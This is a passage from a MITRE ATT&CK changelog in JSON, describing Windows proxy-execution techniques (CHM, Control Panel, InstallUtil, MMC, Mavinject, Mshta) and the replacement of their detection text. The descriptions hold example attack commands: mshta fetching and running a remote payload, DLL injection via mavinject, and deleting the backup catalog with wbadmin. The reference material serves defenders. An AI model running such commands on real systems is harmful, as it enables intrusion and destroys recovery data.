activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.\\n\\nMonitor presence and use of CHM files, especially if they are not typically used within an environment.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.\\n-\\n-Monitor presence and use of CHM files, especially if they are not typically used within an environment.\"}}}", + "previous_version": "2.2", + "changelog_mitigations": { + "shared": [ + "M1021: Restrict Web-Based Content", + "M1038: Execution Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0342: Detection of Suspicious Compiled HTML File Execution via hh.exe" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-23 19:59:52.630000+00:00", + "modified": "2025-10-24 17:48:45.979000+00:00", + "name": "Control Panel", + "description": "Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.\n\nControl Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)\n\nMalicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.\n\nAdversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls. Even when these registered DLLs do not comply with the CPL file specification and do not export CPlApplet functions, they are loaded and executed through its DllEntryPoint when Control Panel is executed. CPL files not exporting CPlApplet are not directly executable.(Citation: ESET InvisiMole June 2020)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1218/002", + "external_id": "T1218.002" + }, + { + "source_name": "Microsoft Implementing CPL", + "description": "M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.", + "url": "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx" + }, + { + "source_name": "TrendMicro CPL Malware Jan 2014", + "description": "Merc\u00eas, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf" + }, + { + "source_name": "TrendMicro CPL Malware Dec 2013", + "description": "Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/" + }, + { + "source_name": "Palo Alto Reaver Nov 2017", + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + }, + { + "source_name": "ESET InvisiMole June 2020", + "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "ESET" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Module: Module Load\", \"Windows Registry: Windows Registry Key Modification\", \"Command: Command Execution\", \"Process: OS API Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:45.979000+00:00\", \"old_value\": \"2025-04-25 14:46:37.731000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor and analyze activity related to items associated with CPL files, such as the control.exe and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before [Rundll32](https://attack.mitre.org/techniques/T1218/011) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1218/011) command, which may bypass detections and/or execution filters for control.exe.(Citation: TrendMicro CPL Malware Jan 2014)\\n\\nInventory Control Panel items to locate unregistered and potentially malicious files present on systems:\\n\\n* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\ControlPanel\\\\NameSpace and HKEY_CLASSES_ROOT\\\\CLSID\\\\{GUID}. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the CPLs and Extended Properties Registry keys of HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Control Panel. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec(\\\"c:\\\\windows\\\\system32\\\\control.exe {Canonical_Name}\\\", SW_NORMAL);) or from a command line (control.exe /name {Canonical_Name}).(Citation: Microsoft Implementing CPL)\\n* Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Controls Folder\\\\{name}\\\\Shellex\\\\PropertySheetHandlers where {name} is the predefined name of the system item.(Citation: Microsoft Implementing CPL)\\n\\nAnalyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques.(Citation: TrendMicro CPL Malware Jan 2014)\", \"diff\": \"--- \\n+++ \\n@@ -1,9 +0,0 @@\\n-Monitor and analyze activity related to items associated with CPL files, such as the control.exe and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before [Rundll32](https://attack.mitre.org/techniques/T1218/011) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1218/011) command, which may bypass detections and/or execution filters for control.exe.(Citation: TrendMicro CPL Malware Jan 2014)\\n-\\n-Inventory Control Panel items to locate unregistered and potentially malicious files present on systems:\\n-\\n-* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\ControlPanel\\\\NameSpace and HKEY_CLASSES_ROOT\\\\CLSID\\\\{GUID}. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\\n-* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the CPLs and Extended Properties Registry keys of HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Control Panel. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec(\\\"c:\\\\windows\\\\system32\\\\control.exe {Canonical_Name}\\\", SW_NORMAL);) or from a command line (control.exe /name {Canonical_Name}).(Citation: Microsoft Implementing CPL)\\n-* Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Controls Folder\\\\{name}\\\\Shellex\\\\PropertySheetHandlers where {name} is the predefined name of the system item.(Citation: Microsoft Implementing CPL)\\n-\\n-Analyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques.(Citation: TrendMicro CPL Malware Jan 2014)\"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1038: Execution Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0194: Detection of Malicious Control Panel Item Execution via control.exe or Rundll32" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--2cd950a6-16c4-404a-aa01-044322395107", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-23 19:09:48.811000+00:00", + "modified": "2025-10-24 17:48:34.798000+00:00", + "name": "InstallUtil", + "description": "Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe.\n\nInstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1218/004", + "external_id": "T1218.004" + }, + { + "source_name": "MSDN InstallUtil", + "description": "Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.", + "url": "https://msdn.microsoft.com/en-us/library/50614e95.aspx" + }, + { + "source_name": "LOLBAS Installutil", + "description": "LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019.", + "url": "https://lolbas-project.github.io/lolbas/Binaries/Installutil/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Travis Smith, Tripwire", + "Casey Smith" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:34.798000+00:00\", \"old_value\": \"2025-04-25 14:46:11.581000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [ + "M1038: Execution Prevention", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0138: Detection of Malicious Code Execution via InstallUtil.exe" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ffbcfdb0-de22-4106-9ed3-fc23c8a01407", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-09-28 01:36:41.638000+00:00", + "modified": "2025-10-24 17:49:40.236000+00:00", + "name": "MMC", + "description": "Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview)\n\nFor example, mmc C:\\Users\\foo\\admintools.msc /a will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is mmc gpedit.msc, which will open the Group Policy Editor application window. \n\nAdversaries may use MMC commands to perform malicious tasks. For example, mmc wbadmin.msc delete catalog -quiet deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: wbadmin.msc may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal)\n\nAdversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the \u201cLink to Web Address\u201d snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: mmc.exe -Embedding C:\\path\\to\\test.msc.(Citation: abusing_com_reg)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1218/014", + "external_id": "T1218.014" + }, + { + "source_name": "abusing_com_reg", + "description": "bohops. (2018, August 18). ABUSING THE COM REGISTRY STRUCTURE (PART 2): HIJACKING & LOADING TECHNIQUES. Retrieved September 20, 2021.", + "url": "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/" + }, + { + "source_name": "mmc_vulns", + "description": "Boxiner, A., Vaknin, E. (2019, June 11). Microsoft Management Console (MMC) Vulnerabilities. Retrieved September 24, 2021.", + "url": "https://research.checkpoint.com/2019/microsoft-management-console-mmc-vulnerabilities/" + }, + { + "source_name": "win_msc_files_overview", + "description": "Brinkmann, M.. (2017, June 10). Windows .msc files overview. Retrieved September 20, 2021.", + "url": "https://www.ghacks.net/2017/06/10/windows-msc-files-overview/" + }, + { + "source_name": "win_mmc", + "description": "Microsoft. (2017, October 16). mmc. Retrieved September 20, 2021.", + "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mmc" + }, + { + "source_name": "win_wbadmin_delete_catalog", + "description": "Microsoft. (2017, October 16). wbadmin delete catalog. Retrieved September 20, 2021.", + "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-catalog" + }, + { + "source_name": "win_clsid_key", + "description": "Microsoft. (2018, May 31). CLSID Key. Retrieved September 24, 2021.", + "url": "https://docs.microsoft.com/en-us/windows/win32/com/clsid-key-hklm" + }, + { + "source_name": "what_is_mmc", + "description": "Microsoft. (2020, September 27). What is Microsoft Management Console?. Retrieved October 5, 2021.", + "url": "https://docs.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/what-is-microsoft-management-console" + }, + { + "source_name": "phobos_virustotal", + "description": "Phobos Ransomware. (2020, December 30). Phobos Ransomware, Fast.exe. Retrieved September 20, 2021.", + "url": "https://www.virustotal.com/gui/file/0b4c743246478a6a8c9fa3ff8e04f297507c2f0ea5d61a1284fe65387d172f81/detection" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Wes Hurd" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Creation\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:40.236000+00:00\", \"old_value\": \"2025-04-16 20:37:23.449000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line parameters for suspicious or malicious use of MMC. Since MMC is a signed Windows binary, verify use of MMC is legitimate and not malicious. \\n\\nMonitor for creation and use of .msc files. MMC may legitimately be used to call Microsoft-created .msc files, such as services.msc or eventvwr.msc. Invoking non-Microsoft .msc files may be an indicator of malicious activity. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor processes and command-line parameters for suspicious or malicious use of MMC. Since MMC is a signed Windows binary, verify use of MMC is legitimate and not malicious. \\n-\\n-Monitor for creation and use of .msc files. MMC may legitimately be used to call Microsoft-created .msc files, such as services.msc or eventvwr.msc. Invoking non-Microsoft .msc files may be an indicator of malicious activity. \"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [ + "M1038: Execution Prevention", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0222: Detecting MMC (.msc) Proxy Execution and Malicious COM Activation" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1bae753e-8e52-4055-a66d-2ead90303ca9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-09-22 17:45:10.241000+00:00", + "modified": "2025-10-24 17:48:28.606000+00:00", + "name": "Mavinject", + "description": "Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)\n\nAdversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. C:\\Windows\\system32\\mavinject.exe PID /INJECTRUNNING PATH_DLL).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process. \n\nIn addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its /HMODULE command-line parameter (ex. mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1218/013", + "external_id": "T1218.013" + }, + { + "source_name": "ATT Lazarus TTP Evolution", + "description": "Fernando Martinez. (2021, July 6). Lazarus campaign TTPs and evolution. Retrieved September 22, 2021.", + "url": "https://cybersecurity.att.com/blogs/labs-research/lazarus-campaign-ttps-and-evolution" + }, + { + "source_name": "LOLBAS Mavinject", + "description": "LOLBAS. (n.d.). Mavinject.exe. Retrieved September 22, 2021.", + "url": "https://lolbas-project.github.io/lolbas/Binaries/Mavinject/" + }, + { + "source_name": "Mavinject Functionality Deconstructed", + "description": "Matt Graeber. (2018, May 29). mavinject.exe Functionality Deconstructed. Retrieved September 22, 2021.", + "url": "https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e" + }, + { + "source_name": "Reaqta Mavinject", + "description": "Reaqta. (2017, December 16). From False Positive to True Positive: the story of Mavinject.exe, the Microsoft Injector. Retrieved September 22, 2021.", + "url": "https://reaqta.com/2017/12/mavinject-microsoft-injector/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:28.606000+00:00\", \"old_value\": \"2025-04-15 22:48:44.734000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor the execution and arguments of mavinject.exe. Compare recent invocations of mavinject.exe with prior history of known good arguments and injected DLLs to determine anomalous and potentially adversarial activity.\\n\\nAdversaries may rename abusable binaries to evade detections, but the argument INJECTRUNNING is required for mavinject.exe to perform [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001) and may therefore be monitored to alert malicious activity.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor the execution and arguments of mavinject.exe. Compare recent invocations of mavinject.exe with prior history of known good arguments and injected DLLs to determine anomalous and potentially adversarial activity.\\n-\\n-Adversaries may rename abusable binaries to evade detections, but the argument INJECTRUNNING is required for mavinject.exe to perform [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001) and may therefore be monitored to alert malicious activity.\"}}}", + "previous_version": "2.0", + "changelog_mitigations": { + "shared": [ + "M1038: Execution Prevention", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0433: Detecting Code Injection via mavinject.exe (App-V Injector)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-23 19:32:49.557000+00:00", + "modified": "2025-10-24 17:49:03.265000+00:00", + "name": "Mshta", + "description": "Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nMshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1218/005", + "external_id": "T1218.005" + }, + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", + "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf" + }, + { + "source_name": "Red Canary HTA Abuse Part Deux", + "description": "McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.", + "url": "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/" + }, + { + "source_name": "FireEye Attacks Leveraging HTA", + "description": "Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html" + }, + { + "source_name": "Airbus Security Kovter Analysis", + "description": "Dove, A. (2016, March 23). Fileless Malware \u2013 A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.", + "url": "https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/" + }, + { + "source_name": "FireEye FIN7 April 2017", + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + }, + { + "source_name": "Wikipedia HTML Application", + "description": "Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.", + "url": "https://en.wikipedia.org/wiki/HTML_Application" + }, + { + "source_name": "MSDN HTML Applications", + "description": "Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.", + "url": "https://msdn.microsoft.com/library/ms536471.aspx" + }, + { + "source_name": "LOLBAS Mshta", + "description": "LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019.", + "url": "https://lolbas-project.github.io/lolbas/Binaries/Mshta/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "@ionstorm", + "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank", + "Ricardo Dias" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"File: File Creation\", \"Command: Command Execution\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:03.265000+00:00\", \"old_value\": \"2025-04-25 14:47:18.707000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed .hta files to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the .hta file being executed.\\n\\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed .hta files to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the .hta file being executed.\\n-\\n-Monitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious\"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + 